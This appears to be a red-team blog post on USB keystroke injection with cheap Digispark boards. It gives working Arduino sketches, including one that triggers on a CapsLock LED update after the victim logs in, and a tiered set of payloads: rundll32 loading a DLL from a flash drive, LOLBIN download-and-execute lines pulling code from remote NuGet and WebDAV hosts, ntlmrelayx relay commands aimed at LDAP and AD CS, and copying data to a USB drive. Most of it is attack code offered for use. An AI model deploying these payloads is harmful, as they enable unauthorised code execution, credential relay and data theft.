# TL;DR ```c STRING "powershell.exe -c iex ..." ``` This post highlights some easy-to-use USB keystroke injection techniques in hardened environments that can be replicated on a 3$ Digispark board. # intro The Rubber Ducky is around 10-11 years old now, and in that time numerous different variants of BadUSB attacks have been developed. When researching the topic, however, it became apparent that most articles and tutorials provide only brief examples of actual post-exploitation, focusing instead on building the hardware implant itself. This post is meant to highlight the *practical* use of USB keystroke injection, especially in hardened/restricted environments. **sidenote:** prerequisites Almost anything with a USB port can be turned into an implant, and there are numerous other posts and articles proving that. For simplicity's sake, I will use Digispark ATTiny85 for dumber payloads, and will provide links to specialized hardware/GitHub repositories for smarter stuff. This means that the entry level for this post is about 2-3$. # part ø. the basics The Digispark payload template is as simple as it gets: >**digispark_example.ino** >```c >#include "DigiKeyboard.h" void setup() { } > void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); // start pressing buttons DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("notepad"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); > DigiKeyboard.sendKeyStroke(KEY_ENTER); for (;;) { // stop pressing buttons /*empty*/ } } This is a bare-bones example of running a command with Win+R, something that 95% of payloads do. It works (after [[http://digistump.com/wiki/digispark/tutorials/connecting|setting everything up]]) on an unlocked Windows PC, and is pretty self-explanatory. It is also the part when most articles about keystroke injection end. Most payload repositories (like [[https://github.com/CedArctic/DigiSpark-Scripts|this one]]) do not go far beyond downloading and running a powershell script with the template above. I tried to complicate this a little bit. # part i. complicating the implant **CapsLock and locked PCs** The most obvious problem is obtaining physical access to an unlocked PC. Locked ones are usually easier to get close to, the only issue being that the implant needs some way to run its payload when the victim eventually logs in. The basic options here are: 1. Find a way to tell when the PC is unlocked 2. Find a way to tell the implant when to run 3. Run the payload periodically #3 is too loud and suspicious, #2 requires a way for the *attacker* to know when PC is unlocked, which is not always the case. But how can a *keyboard* tell when the user logins? It may be a widespread fact, but I only recently found out that keyboards synchronize their CapsLock/NumLock/ScrollLock LED status. This means that the implant can wait for an LED update and thus determine when the user is logged in (under the assumption that people still use CapsLock and do not randomly press it on locked workstations for no reason). DigiKeyboard does not process these updates, but TrinketKeyboard from Adafruit works perfectly on the Digispark board: >**digispark_capslock.ino** >```c >#include <TrinketKeyboard.h> > void setup() { TrinketKeyboard.begin(); } > void loop() { int caps = (TrinketKeyboard.getLEDstate() & 0x02) != 0; > if (caps != 0) { TrinketKeyboard.pressKey(0, 57); TrinketKeyboard.pressKey(0, 0); > // yes I didn't write > // a routine to do this, fight me TrinketKeyboard.pressKey(KEYCODE_MOD_LEFT_GUI, KEYCODE_R); // MOD_LEFT_GUI + KEYCODE_R TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_N); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_O); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_T); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_E); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_P); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_A); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_D); TrinketKeyboard.pressKey(0, 0); TrinketKeyboard.pressKey(0, KEYCODE_ENTER); TrinketKeyboard.pressKey(0,0); for (;;) { delay(5); } } TrinketKeyboard.poll(); } **OS detection** Usually, payloads are written for a specific OS, as the keyboard does not have a way to determine what OS is connected to it. However, limited fingerprinting is still possible. The first example can be found in the https://github.com/keyboardio/FingerprintUSBHost repo, where difference between descriptor request length is used: ```c ... if (setup.wLength == 0xff) { guess.maybe_linux = 1; guess.maybe_win = 1; guess.not_mac = 1; // In testing, MacOS NEVER sets a descript request lenght of 255 } else { guess.not_linux = 1; // In testing, Linux ALWAYS sets a descriptor request length of 255; } ... ``` Another example can be found in the https://github.com/krakrukra/PocketAdmin project (which also implements a composite USB device and extends DuckyScript with the CapsLock technique described above). **composite USB devices** Many advanced implants combine an emulated keyboard with a flash drive to deliver the payload. It's a complicated matter, but, for all practical purposes, it is indistinguishable from just plugging a spare flash drive into a USB hub. To be honest, I suggest you do exactly that. **USB proxies** If external devices are forbidden, you can try using a hardware keylogger with keystroke injection capabilities. I won't cover them extensively, but the easiest to set up are: - https://github.com/nesto-software/USBProxy + RPi 4B (no keystroke injection out-of-the-box, only logging) - https://github.com/usb-tools/Facedancer + GreatFET One # part ii. complicating the payload Let's see what we can do with a keystroke injection payload, depending on how hardened the workstation is. **0. the low-hanging fruit** *external keyboards: allowed* *external drives: allowed* *powershell/cmd: allowed* *users are admins* *no applocker* The easiest setup, where anything is possible. To help avoid network-level detection, the payload is served from a flash drive: ```powershell # here and further payloads are in a sort of pseudocode Win+R powershell Ctrl+Shift+Enter # run as admin (optional) Left+Enter # UAC (optional) $usbPath = GET-WMIObject Win32_Volume | ? { $_.Label -eq 'D'} | select name Enter cd $usbPath.name Enter rundll32.exe payload.dll,Run # run the payload Enter ``` **1. no thumb drives or powershell for users** *external keyboards: allowed* *external drives: disallowed* *powershell: disallowed* *cmd: allowed* This is where you use your favorite download+execute cradle or some other lolbin: ```j # from basic %localappdata%\Microsoft\Teams\update.exe --update=[url to nuget] ``` ```j # to more advanced combinations # huge props to LOLBAS for existing btw findstr /V /L stringthatisnotthere \\webdavserver\folder\test.xml > test.xml findstr /V /L stringthatisnotthere \\webdavserver\folder\test.xoml > test.xoml C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml` ``` **2. no commands** *external keyboards: allowed* *powershell/cmd: disallowed* This is the point where execution becomes a little more challenging. Of course, it may still be possible to find a Win+R combination that'll execute code from a remote location, like `mshta` or `update.exe`, but these may still be locked out by defenders. If testing for these does not succeed, it may be possible to turn to something else aside from execution. If we assume unauthenticated network access is possible (and if you can access the PC physically, then it probably is), keystroke injection may be used to facilitate a relay. IMO it's best to relay `HTTP -> LDAP` or `SMB -> AD CS` to begin enumerating the domain: ```j # HTTP -> LDAP relay # e.g.: ntlmrelayx -smb2support -t ldaps://dc.domain.local Win \\ip.addr.goes.here@80\share ``` ```j # SMB -> HTTP relay # e.g.: ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp -smb2support --adcs Win \\ip.addr.goes.here\share ``` Alternatively, if flash drives are allowed, the attack could be used for exfiltration. This approach is very obvious, but may still be useful in an engagement: ```j Win C:\path\to\data Ctl+A, Ctl+C Win D:\ Ctl+V ``` Alternatively, it may be possible to use a copy LOLBIN like `certreq` to copy to a remote location. **3. no external keyboards** Pretty self-explanatory. The solution is USBProxy/Facedancer + any of the above ¯\\_(ツ)_/¯ # credits All links used in the post: https://github.com/nesto-software/USBProxy https://github.com/keyboardio/FingerprintUSBHost https://github.com/krakrukra/PocketAdmin https://github.com/usb-tools/Facedancer https://github.com/CedArctic/DigiSpark-Scripts also: Digispark for the 2$ computer lolbas-project for LOLBIN examples RubberDucky for being an overpriced example everyone compares their hardware to